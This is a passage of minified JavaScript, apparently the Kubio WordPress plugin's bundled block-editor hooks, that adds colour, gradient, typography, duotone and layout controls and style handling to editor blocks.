t=Object(r.getBlockSupport)(e,oe);return null!==t&&"object"==typeof t&&!!t.gradients},ie=e=>{const t=Object(r.getBlockSupport)(e,oe);return t&&!1!==t.background},ae=e=>{const t=Object(r.getBlockSupport)(e,oe);return t&&!1!==t.text},se=(e,t)=>Object(x.a)(Object(x.b)(t,e,void 0)),ue=e=>({textColor:void 0,style:se(["color","text"],e.style)}),de=e=>({style:se(["elements","link","color","text"],e.style)}),be=e=>{var t;return{backgroundColor:void 0,gradient:void 0,style:{...e.style,color:{...null===(t=e.style)||void 0===t?void 0:t.color,background:void 0,gradient:void 0}}}};function pe(e,t,n){var o,r,l,c,i,a;if(!re(t)||Object(x.c)(t,oe))return e;const u=ce(t),{backgroundColor:d,textColor:b,gradient:p,style:m}=n,f=e=>!Object(x.c)(t,oe,e),g=f("text")?Object(N.b)("color",b):void 0,h=f("gradients")?Object(X.a)(p):void 0,v=f("background")?Object(N.b)("background-color",d):void 0,O=f("background")||f("gradients"),k=d||(null==m||null===(o=m.color)||void 0===o?void 0:o.background)||u&&(p||(null==m||null===(r=m.color)||void 0===r?void 0:r.gradient)),j=s()(e.className,g,h,{[v]:!(u&&null!=m&&null!==(l=m.color)&&void 0!==l&&l.gradient||!v),"has-text-color":f("text")&&(b||(null==m||null===(c=m.color)||void 0===c?void 0:c.text)),"has-background":O&&k,"has-link-color":f("link")&&(null==m||null===(i=m.elements)||void 0===i||null===(a=i.link)||void 0===a?void 0:a.color)});return e.className=j||void 0,e}const me=(e,t)=>{const n=/var:preset\|color\|(.+)/.exec(t);return n&&n[1]?Object(N.c)(e,n[1]).color:t};function fe(e){var t,n,o,l,c,a;const{name:s,attributes:u}=e,d=Object(L.a)("color.palette.custom"),b=Object(L.a)("color.palette.theme"),p=Object(L.a)("color.palette.default"),m=Object(i.useMemo)((()=>[...d||[],...b||[],...p||[]]),[d,b,p]),f=Object(L.a)("color.gradients.custom"),g=Object(L.a)("color.gradients.theme"),h=Object(L.a)("color.gradients.default"),v=Object(i.useMemo)((()=>[...f||[],...g||[],...h||[]]),[f,g,h]),O=Object(L.a)("color.custom"),k=Object(L.a)("color.customGradient"),_=Object(L.a)("color.background"),y=Object(L.a)("color.link"),E=Object(L.a)("color.text"),S=O||!b||(null==b?void 0:b.length)>0,C=k||!g||(null==g?void 0:g.length)>0,w=Object(i.useRef)(u);if(Object(i.useEffect)((()=>{w.current=u}),[u]),!re(s))return null;const B=le(s)&&y&&S,I=ae(s)&&E&&S,T=ie(s)&&_&&S,M=ce(s)&&C;if(!(B||I||T||M))return null;const{style:P,textColor:R,backgroundColor:A,gradient:D}=u;let F;if(M&&D)F=Object(X.e)(v,D);else if(M){var z;F=null==P||null===(z=P.color)||void 0===z?void 0:z.gradient}const V=t=>n=>{var o,r;const l=Object(N.d)(m,n),c=t+"Color",i={...w.current.style,color:{...null===(o=w.current)||void 0===o||null===(r=o.style)||void 0===r?void 0:r.color,[t]:null!=l&&l.slug?void 0:n}},a=null!=l&&l.slug?l.slug:void 0,s={style:Object(x.a)(i),[c]:a};e.setAttributes(s),w.current={...w.current,...s}},H=Object(r.getBlockSupport)(e.name,[oe,"__experimentalDefaultControls"]),G="web"===i.Platform.OS&&!D&&!(null!=P&&null!==(t=P.color)&&void 0!==t&&t.gradient)&&T&&(B||I)&&!1!==Object(r.getBlockSupport)(e.name,[oe,"enableContrastChecker"]);return Object(i.createElement)(ne,{enableContrastChecking:G,clientId:e.clientId,enableAlpha:!0,settings:[...I?[{label:Object(j.__)("Text","kubio"),onColorChange:V("text"),colorValue:Object(N.c)(m,R,null==P||null===(n=P.color)||void 0===n?void 0:n.text).color,isShownByDefault:null==H?void 0:H.text,resetAllFilter:ue}]:[],...T||M?[{label:Object(j.__)("Background","kubio"),onColorChange:T?V("background"):void 0,colorValue:Object(N.c)(m,A,null==P||null===(o=P.color)||void 0===o?void 0:o.background).color,gradientValue:F,onGradientChange:M?t=>{const n=Object(X.d)(v,t);let o;if(n){var r,l,c;const e={...null===(r=w.current)||void 0===r?void 0:r.style,color:{...null===(l=w.current)||void 0===l||null===(c=l.style)||void 0===c?void 0:c.color,gradient:void 0}};o={style:Object(x.a)(e),gradient:n}}else{var i,a,s;const e={...null===(i=w.current)||void 0===i?void 0:i.style,color:{...null===(a=w.current)||void 0===a||null===(s=a.style)||void 0===s?void 0:s.color,gradient:t}};o={style:Object(x.a)(e),gradient:void 0}}e.setAttributes(o),w.current={...w.current,...o}}:void 0,isShownByDefault:null==H?void 0:H.background,resetAllFilter:be}]:[],...B?[{label:Object(j.__)("Link","kubio"),onColorChange:t=>{var n;const o=Object(N.d)(m,t),r=null!=o&&o.slug?`var:preset|color|${o.slug}`:t,l=Object(x.a)(Object(x.b)(null===(n=w.current)||void 0===n?void 0:n.style,["elements","link","color","text"],r));e.setAttributes({style:l}),w.current={...w.current,style:l}},colorValue:me(m,null==P||null===(l=P.elements)||void 0===l||null===(c=l.link)||void 0===c||null===(a=c.color)||void 0===a?void 0:a.text),isShownByDefault:null==H?void 0:H.link,resetAllFilter:de}]:[]]})}const ge=Object(u.createHigherOrderComponent)((e=>t=>{var n;const{name:o,attributes:r}=t,{backgroundColor:l,textColor:a}=r,s=Object(L.a)("color.palette.custom"),u=Object(L.a)("color.palette.theme"),d=Object(L.a)("color.palette.default"),b=Object(i.useMemo)((()=>[...s||[],...u||[],...d||[]]),[s,u,d]);if(!re(o)||Object(x.c)(o,oe))return Object(i.createElement)(e,t);const p={};var m,f;a&&!Object(x.c)(o,oe,"text")&&(p.color=null===(m=Object(N.c)(b,a))||void 0===m?void 0:m.color),l&&!Object(x.c)(o,oe,"background")&&(p.backgroundColor=null===(f=Object(N.c)(b,l))||void 0===f?void 0:f.color);let g=t.wrapperProps;return g={...t.wrapperProps,style:{...p,...null===(n=t.wrapperProps)||void 0===n?void 0:n.style}},Object(i.createElement)(e,Object(c.a)({},t,{wrapperProps:g}))})),he={linkColor:[["style","elements","link","color","text"]],textColor:[["textColor"],["style","color","text"]],backgroundColor:[["backgroundColor"],["style","color","background"]],gradient:[["gradient"],["style","color","gradient"]]};Object(l.addFilter)("blocks.registerBlockType","core/color/addAttribute",(function(e){return re(e)?(e.attributes.backgroundColor||Object.assign(e.attributes,{backgroundColor:{type:"string"}}),e.attributes.textColor||Object.assign(e.attributes,{textColor:{type:"string"}}),ce(e)&&!e.attributes.gradient&&Object.assign(e.attributes,{gradient:{type:"string"}}),e):e})),Object(l.addFilter)("blocks.getSaveContent.extraProps","core/color/addSaveProps",pe),Object(l.addFilter)("blocks.registerBlockType","core/color/addEditProps",(function(e){if(!re(e)||Object(x.c)(e,oe))return e;const t=e.getEditWrapperProps;return e.getEditWrapperProps=n=>{let o={};return t&&(o=t(n)),pe(o,e,n)},e})),Object(l.addFilter)("editor.BlockListBlock","core/color/with-color-palette-styles",ge),Object(l.addFilter)("blocks.switchToBlockType.transformedBlock","core/color/addTransforms",(function(e,t,n,o){const r=e.name,l={linkColor:le(r),textColor:ae(r),backgroundColor:ie(r),gradient:ce(r)};return Object(x.d)(l,he,e,t,n,o)}));var ve=n(166),Oe=n(245);const ke="typography.lineHeight";function je(e){var t;const{attributes:{style:n},setAttributes:o}=e;return Object(i.createElement)(Oe.a,{__unstableInputWidth:"100%",__nextHasNoMarginBottom:!0,value:null==n||null===(t=n.typography)||void 0===t?void 0:t.lineHeight,onChange:e=>{const t={...n,typography:{...null==n?void 0:n.typography,lineHeight:e}};o({style:Object(x.a)(t)})},size:"__unstable-large"})}function _e(){let{name:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t=!Object(L.a)("typography.lineHeight");return!Object(r.hasBlockSupport)(e,ke)||t}const ye="typography.__experimentalFontStyle",Ee="typography.__experimentalFontWeight";function Se(e){var t,n;const{attributes:{style:o},setAttributes:r}=e,l=!Ce(e),c=!we(e),a=null==o||null===(t=o.typography)||void 0===t?void 0:t.fontStyle,s=null==o||null===(n=o.typography)||void 0===n?void 0:n.fontWeight;return Object(i.createElement)(ve.a,{onChange:e=>{r({style:Object(x.a)({...o,typography:{...null==o?void 0:o.typography,fontStyle:e.fontStyle,fontWeight:e.fontWeight}})})},hasFontStyles:l,hasFontWeights:c,value:{fontStyle:a,fontWeight:s},size:"__unstable-large"})}function Ce(){let{name:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t=Object(r.hasBlockSupport)(e,ye),n=Object(L.a)("typography.fontStyle");return!t||!n}function we(){let{name:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t=Object(r.hasBlockSupport)(e,Ee),n=Object(L.a)("typography.fontWeight");return!t||!n}function Be(e){const t=Ce(e),n=we(e);return t&&n}var Ie=n(2),xe=n(149),Te=n.n(xe),Ne=n(233);const Me="typography.__experimentalFontFamily";function Pe(e,t,n){if(!Object(r.hasBlockSupport)(t,Me))return e;if(Object(x.c)(t,nt,"fontFamily"))return e;if(null==n||!n.fontFamily)return e;const o=new Te.a(e.className);o.add(`has-${Object(Ie.kebabCase)(null==n?void 0:n.fontFamily)}-font-family`);const l=o.value;return e.className=l||void 0,e}function Le(e){var t;let{setAttributes:n,attributes:{fontFamily:o}}=e;const r=Object(L.a)("typography.fontFamilies"),l=null==r||null===(t=r.find((e=>{let{slug:t}=e;return o===t})))||void 0===t?void 0:t.fontFamily;return Object(i.createElement)(Ne.a,{className:"block-editor-hooks-font-family-control",fontFamilies:r,value:l,onChange:function(e){const t=null==r?void 0:r.find((t=>{let{fontFamily:n}=t;return n===e}));n({fontFamily:null==t?void 0:t.slug})},size:"__unstable-large",__nextHasNoMarginBottom:!0})}function Re(e){let{name:t}=e;const n=Object(L.a)("typography.fontFamilies");return!n||0===n.length||!Object(r.hasBlockSupport)(t,Me)}Object(l.addFilter)("blocks.registerBlockType","core/fontFamily/addAttribute",(function(e){return Object(r.hasBlockSupport)(e,Me)?(e.attributes.fontFamily||Object.assign(e.attributes,{fontFamily:{type:"string"}}),e):e})),Object(l.addFilter)("blocks.getSaveContent.extraProps","core/fontFamily/addSaveProps",Pe),Object(l.addFilter)("blocks.registerBlockType","core/fontFamily/addEditProps",(function(e){if(!Object(r.hasBlockSupport)(e,Me))return e;const t=e.getEditWrapperProps;return e.getEditWrapperProps=n=>{let o={};return t&&(o=t(n)),Pe(o,e,n)},e}));var Ae=n(111);const De="typography.fontSize";function Fe(e,t,n){if(!Object(r.hasBlockSupport)(t,De))return e;if(Object(x.c)(t,nt,"fontSize"))return e;const o=new Te.a(e.className);o.add(Object(Ae.d)(n.fontSize));const l=o.value;return e.className=l||void 0,e}function ze(e){var t,n;const{attributes:{fontSize:o,style:r},setAttributes:l}=e,c=Object(L.a)("typography.fontSizes"),a=Object(Ae.c)(c,o,null==r||null===(t=r.typography)||void 0===t?void 0:t.fontSize),s=(null==a?void 0:a.size)||(null==r||null===(n=r.typography)||void 0===n?void 0:n.fontSize)||o;return Object(i.createElement)(Ae.a,{onChange:e=>{const t=Object(Ae.e)(c,e).slug;l({style:Object(x.a)({...r,typography:{...null==r?void 0:r.typography,fontSize:t?void 0:e}}),fontSize:t})},value:s,withReset:!1,withSlider:!0,size:"__unstable-large",__nextHasNoMarginBottom:!0})}function Ve(){let{name:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t=Object(L.a)("typography.fontSizes"),n=!(null==t||!t.length);return!Object(r.hasBlockSupport)(e,De)||!n}const He=Object(u.createHigherOrderComponent)((e=>t=>{var n,o;const l=Object(L.a)("typography.fontSizes"),{name:c,attributes:{fontSize:a,style:s},wrapperProps:u}=t;if(!Object(r.hasBlockSupport)(c,De)||Object(x.c)(c,nt,"fontSize")||!a||null!=s&&null!==(n=s.typography)&&void 0!==n&&n.fontSize)return Object(i.createElement)(e,t);const d=Object(Ae.c)(l,a,null==s||null===(o=s.typography)||void 0===o?void 0:o.fontSize).size,b={...t,wrapperProps:{...u,style:{fontSize:d,...null==u?void 0:u.style}}};return Object(i.createElement)(e,b)}),"withFontSizeInlineStyles"),Ge={fontSize:[["fontSize"],["style","typography","fontSize"]]};Object(l.addFilter)("blocks.registerBlockType","core/font/addAttribute",(function(e){return Object(r.hasBlockSupport)(e,De)?(e.attributes.fontSize||Object.assign(e.attributes,{fontSize:{type:"string"}}),e):e})),Object(l.addFilter)("blocks.getSaveContent.extraProps","core/font/addSaveProps",Fe),Object(l.addFilter)("blocks.registerBlockType","core/font/addEditProps",(function(e){if(!Object(r.hasBlockSupport)(e,De))return e;const t=e.getEditWrapperProps;return e.getEditWrapperProps=n=>{let o={};return t&&(o=t(n)),Fe(o,e,n)},e})),Object(l.addFilter)("editor.BlockListBlock","core/font-size/with-font-size-inline-styles",He),Object(l.addFilter)("blocks.switchToBlockType.transformedBlock","core/font-size/addTransforms",(function(e,t,n,o){const l=e.name,c={fontSize:Object(r.hasBlockSupport)(l,De)};return Object(x.d)(c,Ge,e,t,n,o)})),Object(l.addFilter)("blocks.registerBlockType","core/font-size/addEditPropsForFluidCustomFontSizes",(function(e){if(!Object(r.hasBlockSupport)(e,De)||Object(x.c)(e,nt,"fontSize"))return e;const t=e.getEditWrapperProps;return e.getEditWrapperProps=e=>{var n,o,r;const l=t?t(e):{},c=null==l||null===(n=l.style)||void 0===n?void 0:n.fontSize,i=null===(o=Object(d.select)(m.a).getSettings().__experimentalFeatures)||void 0===o||null===(r=o.typography)||void 0===r?void 0:r.fluid,a="object"==typeof i?i:{},s=c&&i?Object(Ae.b)({fontSize:c,minimumFontSizeLimit:null==a?void 0:a.minFontSize}):null;return null===s?l:{...l,style:{...null==l?void 0:l.style,fontSize:s}}},e}),11);var $e=n(242);const Ue="typography.__experimentalTextDecoration";function We(e){var t;const{attributes:{style:n},setAttributes:o}=e;return Object(i.createElement)($e.a,{value:null==n||null===(t=n.typography)||void 0===t?void 0:t.textDecoration,onChange:function(e){o({style:Object(x.a)({...n,typography:{...null==n?void 0:n.typography,textDecoration:e}})})},size:"__unstable-large"})}function Ke(){let{name:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t=!Object(r.hasBlockSupport)(e,Ue),n=Object(L.a)("typography.textDecoration");return t||!n}var qe=n(240);const Ye="typography.__experimentalTextTransform";function Qe(e){var t;const{attributes:{style:n},setAttributes:o}=e;return Object(i.createElement)(qe.a,{value:null==n||null===(t=n.typography)||void 0===t?void 0:t.textTransform,onChange:function(e){o({style:Object(x.a)({...n,typography:{...null==n?void 0:n.typography,textTransform:e}})})},size:"__unstable-large"})}function Xe(){let{name:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t=!Object(r.hasBlockSupport)(e,Ye),n=Object(L.a)("typography.textTransform");return t||!n}var Ze=n(234);const Je="typography.__experimentalLetterSpacing";function et(e){var t;const{attributes:{style:n},setAttributes:o}=e;return Object(i.createElement)(Ze.a,{value:null==n||null===(t=n.typography)||void 0===t?void 0:t.letterSpacing,onChange:function(e){o({style:Object(x.a)({...n,typography:{...null==n?void 0:n.typography,letterSpacing:e}})})},__unstableInputWidth:"100%",size:"__unstable-large"})}function tt(){let{name:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t=!Object(r.hasBlockSupport)(e,Je),n=Object(L.a)("typography.letterSpacing");return t||!n}const nt="typography",ot=[ke,De,ye,Ee,Me,Ue,Ye,Je];function rt(e){const{clientId:t}=e,n=Re(e),o=Ve(e),l=Be(e),c=_e(e),a=Ke(e),s=Xe(e),u=tt(e),d=!Ce(e),b=!we(e),p=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t=[Be(e),Ve(e),_e(e),Re(e),Ke(e),Xe(e),tt(e)];return t.filter(Boolean).length===t.length}(e),m=lt(e.name);if(p||!m)return null;const f=Object(r.getBlockSupport)(e.name,[nt,"__experimentalDefaultControls"]),g=e=>t=>{var n;return{...t,style:{...t.style,typography:{...null===(n=t.style)||void 0===n?void 0:n.typography,[e]:void 0}}}};return Object(i.createElement)(M.b,{group:"typography"},!n&&Object(i.createElement)(k.__experimentalToolsPanelItem,{hasValue:()=>function(e){return!!e.attributes.fontFamily}(e),label:Object(j.__)("Font family","kubio"),onDeselect:()=>function(e){let{setAttributes:t}=e;t({fontFamily:void 0})}(e),isShownByDefault:null==f?void 0:f.fontFamily,resetAllFilter:e=>({...e,fontFamily:void 0}),panelId:t},Object(i.createElement)(Le,e)),!o&&Object(i.createElement)(k.__experimentalToolsPanelItem,{hasValue:()=>function(e){var t;const{fontSize:n,style:o}=e.attributes;return!!n||!(null==o||null===(t=o.typography)||void 0===t||!t.fontSize)}(e)/* translators: Ensure translation is distinct from "Letter case" */,label:Object(j.__)("Font size","kubio"),onDeselect:()=>function(e){let{attributes:t={},setAttributes:n}=e;const{style:o}=t;n({fontSize:void 0,style:Object(x.a)({...o,typography:{...null==o?void 0:o.typography,fontSize:void 0}})})}(e),isShownByDefault:null==f?void 0:f.fontSize,resetAllFilter:e=>{var t;return{...e,fontSize:void 0,style:{...e.style,typography:{...null===(t=e.style)||void 0===t?void 0:t.typography,fontSize:void 0}}}},panelId:t},Object(i.createElement)(ze,e)),!l&&Object(i.createElement)(k.__experimentalToolsPanelItem,{className:"single-column",hasValue:()=>function(e){var t;const{fontStyle:n,fontWeight:o}=(null===(t=e.attributes.style)||void 0===t?void 0:t.typography)||{};return!!n||!!o}(e),label:Object(ve.b)(d,b),onDeselect:()=>function(e){let{attributes:t={},setAttributes:n}=e;const{style:o}=t;n({style:Object(x.a)({...o,typography:{...null==o?void 0:o.typography,fontStyle:void 0,fontWeight:void 0}})})}(e),isShownByDefault:null==f?void 0:f.fontAppearance,resetAllFilter:e=>{var t;return{...e,style:{...e.style,typography:{...null===(t=e.style)||void 0===t?void 0:t.typography,fontStyle:void 0,fontWeight:void 0}}}},panelId:t},Object(i.createElement)(Se,e)),!c&&Object(i.createElement)(k.__experimentalToolsPanelItem,{className:"single-column",hasValue:()=>function(e){var t,n;return!(null===(t=e.attributes.style)||void 0===t||null===(n=t.typography)||void 0===n||!n.lineHeight)}(e),label:Object(j.__)("Line height","kubio"),onDeselect:()=>function(e){let{attributes:t={},setAttributes:n}=e;const{style:o}=t;n({style:Object(x.a)({...o,typography:{...null==o?void 0:o.typography,lineHeight:void 0}})})}(e),isShownByDefault:null==f?void 0:f.lineHeight,resetAllFilter:g("lineHeight"),panelId:t},Object(i.createElement)(je,e)),!u&&Object(i.createElement)(k.__experimentalToolsPanelItem,{className:"single-column",hasValue:()=>function(e){var t,n;return!(null===(t=e.attributes.style)||void 0===t||null===(n=t.typography)||void 0===n||!n.letterSpacing)}(e),label:Object(j.__)("Letter spacing","kubio"),onDeselect:()=>function(e){let{attributes:t={},setAttributes:n}=e;const{style:o}=t;n({style:Object(x.a)({...o,typography:{...null==o?void 0:o.typography,letterSpacing:void 0}})})}(e),isShownByDefault:null==f?void 0:f.letterSpacing,resetAllFilter:g("letterSpacing"),panelId:t},Object(i.createElement)(et,e)),!a&&Object(i.createElement)(k.__experimentalToolsPanelItem,{className:"single-column",hasValue:()=>function(e){var t,n;return!(null===(t=e.attributes.style)||void 0===t||null===(n=t.typography)||void 0===n||!n.textDecoration)}(e),label:Object(j.__)("Decoration","kubio"),onDeselect:()=>function(e){let{attributes:t={},setAttributes:n}=e;const{style:o}=t;n({style:Object(x.a)({...o,typography:{...null==o?void 0:o.typography,textDecoration:void 0}})})}(e),isShownByDefault:null==f?void 0:f.textDecoration,resetAllFilter:g("textDecoration"),panelId:t},Object(i.createElement)(We,e)),!s&&Object(i.createElement)(k.__experimentalToolsPanelItem,{hasValue:()=>function(e){var t,n;return!(null===(t=e.attributes.style)||void 0===t||null===(n=t.typography)||void 0===n||!n.textTransform)}(e)/* translators: Ensure translation is distinct from "Font size" */,label:Object(j.__)("Letter case","kubio"),onDeselect:()=>function(e){let{attributes:t={},setAttributes:n}=e;const{style:o}=t;n({style:Object(x.a)({...o,typography:{...null==o?void 0:o.typography,textTransform:void 0}})})}(e),isShownByDefault:null==f?void 0:f.textTransform,resetAllFilter:g("textTransform"),panelId:t},Object(i.createElement)(Qe,e)))}const lt=e=>ot.some((t=>Object(r.hasBlockSupport)(e,t)));var ct=n(89),it=n(171);const at=[...ot,R,oe,ct.b,ct.d],st=e=>at.some((t=>Object(r.hasBlockSupport)(e,t)));function ut(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t={};return Object(w.b)(e).forEach((e=>{t[e.key]=e.value})),t}const dt={[`${R}.__experimentalSkipSerialization`]:["border"],[`${oe}.__experimentalSkipSerialization`]:[oe],[`${nt}.__experimentalSkipSerialization`]:[nt],[`${ct.b}.__experimentalSkipSerialization`]:[ct.b],[`${ct.d}.__experimentalSkipSerialization`]:[ct.d]},bt={...dt,[`${ct.d}`]:["spacing.blockGap"]},pt={gradients:"gradient"};function mt(e,t){if(!e)return e;let n=e;return arguments.length>2&&void 0!==arguments[2]&&arguments[2]||(n=JSON.parse(JSON.stringify(e))),Array.isArray(t)||(t=[t]),t.forEach((e=>{if(Array.isArray(e)||(e=e.split(".")),e.length>1){const[t,...o]=e;mt(n[t],[o],!0)}else 1===e.length&&delete n[e[0]]})),n}function ft(e,t,n){let o=arguments.length>3&&void 0!==arguments[3]?arguments[3]:bt;if(!st(t))return e;let{style:l}=n;return Object.entries(o).forEach((e=>{let[n,o]=e;const c=Object(r.getBlockSupport)(t,n);!0===c&&(l=mt(l,o)),Array.isArray(c)&&c.forEach((e=>{const t=pt[e]||e;l=mt(l,[[...o,t]])}))})),e.style={...ut(l),...e.style},e}const gt=Object(u.createHigherOrderComponent)((e=>t=>{const n=Object(it.a)();return Object(i.createElement)(i.Fragment,null,n&&Object(i.createElement)(i.Fragment,null,Object(i.createElement)(fe,t),Object(i.createElement)(rt,t),Object(i.createElement)(U,t),Object(i.createElement)(ct.c,t)),Object(i.createElement)(e,t))}),"withToolbarControls"),ht=Object(u.createHigherOrderComponent)((e=>t=>{var n,o;const l=`wp-elements-${Object(u.useInstanceId)(e)}`,a=Object(x.c)(t.name,oe,"link"),d=Object(i.useMemo)((()=>{var e;const n=null===(e=t.attributes.style)||void 0===e?void 0:e.elements,o=[];if(n&&Object.keys(n).length>0){var c;const e={...n,link:{...n.link,color:a||null===(c=n.link)||void 0===c?void 0:c.color}};for(const[t,n]of Object.entries(e)){const e=Object(w.a)(n,{selector:`.editor-styles-wrapper .${l} ${r.__EXPERIMENTAL_ELEMENTS[t]}`});e&&o.push(e)}}return o.length>0?o:void 0}),[null===(n=t.attributes.style)||void 0===n?void 0:n.elements]),b=Object(i.useContext)(B.c.__unstableElementContext);return Object(i.createElement)(i.Fragment,null,d&&b&&Object(i.createPortal)(Object(i.createElement)("style",{dangerouslySetInnerHTML:{__html:d}}),b),Object(i.createElement)(e,Object(c.a)({},t,{className:null!==(o=t.attributes.style)&&void 0!==o&&o.elements?s()(t.className,l):t.className})))}));Object(l.addFilter)("blocks.registerBlockType","core/style/addAttribute",(function(e){return st(e)?(e.attributes.style||Object.assign(e.attributes,{style:{type:"object"}}),e):e})),Object(l.addFilter)("blocks.getSaveContent.extraProps","core/style/addSaveProps",ft),Object(l.addFilter)("blocks.registerBlockType","core/style/addEditProps",(function(e){if(!st(e))return e;const t=e.getEditWrapperProps;return e.getEditWrapperProps=n=>{let o={};return t&&(o=t(n)),ft(o,e,n,dt)},e})),Object(l.addFilter)("editor.BlockEdit","core/style/with-block-controls",gt),Object(l.addFilter)("editor.BlockListBlock","core/editor/with-elements-styles",ht);Object(l.addFilter)("blocks.registerBlockType","core/settings/addAttribute",(function(e){var t,n;return n=e,Object(r.hasBlockSupport)(n,"__experimentalSettings",!1)?(null!=e&&null!==(t=e.attributes)&&void 0!==t&&t.settings||(e.attributes={...e.attributes,settings:{type:"object"}}),e):e}));var vt=n(92),Ot=n(128),kt=n(116);const jt=[];function _t(e){let{selector:t,id:n,colors:o}=e;return"unset"===o?Object(i.createElement)(kt.c,{selector:t}):Object(i.createElement)(i.Fragment,null,Object(i.createElement)(kt.a,{id:n,colors:o}),Object(i.createElement)(kt.b,{id:n,selector:t}))}function yt(e){let{presetSetting:t,defaultSetting:n}=e;const o=!Object(b.Jc)(n),r=Object(b.Jc)(`${t}.custom`)||jt,l=Object(b.Jc)(`${t}.theme`)||jt,c=Object(b.Jc)(`${t}.default`)||jt;return Object(i.useMemo)((()=>[...r,...l,...o?jt:c]),[o,r,l,c])}function Et(e){var t;let{attributes:n,setAttributes:o}=e;const r=null==n?void 0:n.style,l=null==r||null===(t=r.color)||void 0===t?void 0:t.duotone,c=yt({presetSetting:"color.duotone",defaultSetting:"color.defaultDuotone"}),a=yt({presetSetting:"color.palette",defaultSetting:"color.defaultPalette"}),s=!Object(b.Jc)("color.custom"),u=!Object(b.Jc)("color.customDuotone")||0===(null==a?void 0:a.length)&&s;return 0===(null==c?void 0:c.length)&&u?null:Object(i.createElement)(b.i,{group:"block",__experimentalShareWithChildBlocks:!0},Object(i.createElement)(b.xb,{duotonePalette:c,colorPalette:a,disableCustomDuotone:u,disableCustomColors:s,value:l,onChange:e=>{const t={...r,color:{...null==r?void 0:r.color,duotone:e}};o({style:t})}}))}Object(vt.b)([Ot.a]);const St=Object(u.createHigherOrderComponent)((e=>t=>{const n=Object(r.hasBlockSupport)(t.name,"color.__experimentalDuotone"),o=Object(d.useSelect)((e=>e(m.a).__unstableGetContentLockingParent(t.clientId)),[t.clientId]);return Object(i.createElement)(i.Fragment,null,Object(i.createElement)(e,t),n&&!o&&Object(i.createElement)(Et,t))}),"withDuotoneControls"),Ct=Object(u.createHigherOrderComponent)((e=>t=>{var n,o,l;const a=Object(r.getBlockSupport)(t.name,"color.__experimentalDuotone"),d=null==t||null===(n=t.attributes)||void 0===n||null===(o=n.style)||void 0===o||null===(l=o.color)||void 0===l?void 0:l.duotone;if(!a||!d)return Object(i.createElement)(e,t);const b=`wp-duotone-${Object(u.useInstanceId)(e)}`,p=function(e,t){const n=e.split(","),o=t.split(","),r=[];return n.forEach((e=>{o.forEach((t=>{r.push(`${e.trim()} ${t.trim()}`)}))})),r.join(", ")}(`.editor-styles-wrapper .${b}`,a),m=s()(null==t?void 0:t.className,b),f=Object(i.useContext)(B.c.__unstableElementContext);return Object(i.createElement)(i.Fragment,null,f&&Object(i.createPortal)(Object(i.createElement)(_t,{selector:p,id:b,colors:d}),f),Object(i.createElement)(e,Object(c.a)({},t,{className:m})))}),"withDuotoneStyles");Object(l.addFilter)("blocks.registerBlockType","core/editor/duotone/add-attributes",(function(e){return Object(r.hasBlockSupport)(e,"color.__experimentalDuotone")?(e.attributes.style||Object.assign(e.attributes,{style:{type:"object"}}),e):e})),Object(l.addFilter)("editor.BlockEdit","core/editor/duotone/with-editor-controls",St),Object(l.addFilter)("editor.BlockListBlock","core/editor/duotone/with-styles",Ct),n(316);var wt=n(107),Bt=n(101);const It="__experimentalLayout";function xt(){var e,t;let n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const o=Object(d.useSelect)((e=>{var t;const{getSettings:n}=e(m.a);return null===(t=n().__experimentalFeatures)||void 0===t?void 0:t.useRootPaddingAwareAlignments}),[]),l=Object(L.a)("layout")||{},{attributes:c={},name:i}=n,{layout:a}=c,{default:s}=Object(r.getBlockSupport)(i,It)||{},u=null!=a&&a.inherit||null!=a&&a.contentSize||null!=a&&a.wideSize?{...a,type:"constrained"}:a||s||{},b=[];var p,f;return null!=l&&null!==(e=l.definitions)&&void 0!==e&&null!==(t=e[(null==u?void 0:u.type)||"default"])&&void 0!==t&&t.className&&b.push(null==l||null===(p=l.definitions)||void 0===p||null===(f=p[(null==u?void 0:u.type)||"default"])||void 0===f?void 0:f.className),(null!=u&&u.inherit||null!=u&&u.contentSize||"constrained"===(null==u?void 0:u.type))&&o&&b.push("has-global-padding"),null!=u&&u.orientation&&b.push(`is-${Object(Ie.kebabCase)(u.orientation)}`),null!=u&&u.justifyContent&&b.push(`is-content-justification-${Object(Ie.kebabCase)(u.justifyContent)}`),null!=u&&u.flexWrap&&"nowrap"===u.flexWrap&&b.push("is-nowrap"),b}function Tt(){var e;let t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=arguments.length>1?arguments[1]:void 0;const{attributes:o={},name:r}=t,{layout:l={},style:c={}}=o,i=null!=l&&l.inherit||null!=l&&l.contentSize||null!=l&&l.wideSize?{...l,type:"constrained"}:l||{},a=Object(Bt.a)((null==i?void 0:i.type)||"default"),s=Object(L.a)("layout")||{},u=null!==Object(L.a)("spacing.blockGap");return null==a||null===(e=a.getLayoutStyle)||void 0===e?void 0:e.call(a,{blockName:r,selector:n,layout:l,layoutDefinitions:null==s?void 0:s.definitions,style:c,hasBlockGapSupport:u})}function Nt(e){let{setAttributes:t,attributes:n,name:o}=e;const{layout:l}=n,c=Object(L.a)("layout"),a=Object(d.useSelect)((e=>{const{getSettings:t}=e(m.a);return t().supportsLayout}),[]),s=Object(r.getBlockSupport)(o,It,{}),{allowSwitching:u,allowEditing:p=!0,allowInheriting:f=!0,default:g}=s;if(!p)return null;const h=!(!f||!c||null!=l&&l.type&&"default"!==(null==l?void 0:l.type)&&"constrained"!==(null==l?void 0:l.type)&&(null==l||!l.inherit)),v=l||g||{},{inherit:O=!1,type:_="default",contentSize:y=null}=v;if(("default"===_||"constrained"===_)&&!a)return null;const E=Object(Bt.a)(_),S=Object(Bt.a)("constrained"),C=!v.type&&(y||O),w=!!O||!!y,B=e=>t({layout:e});return Object(i.createElement)(i.Fragment,null,Object(i.createElement)(b.O,null,Object(i.createElement)(k.PanelBody,{title:Object(j.__)("Layout","kubio")},h&&Object(i.createElement)(i.Fragment,null,Object(i.createElement)(k.ToggleControl,{className:"block-editor-hooks__toggle-control",label:Object(j.__)("Inner blocks use content 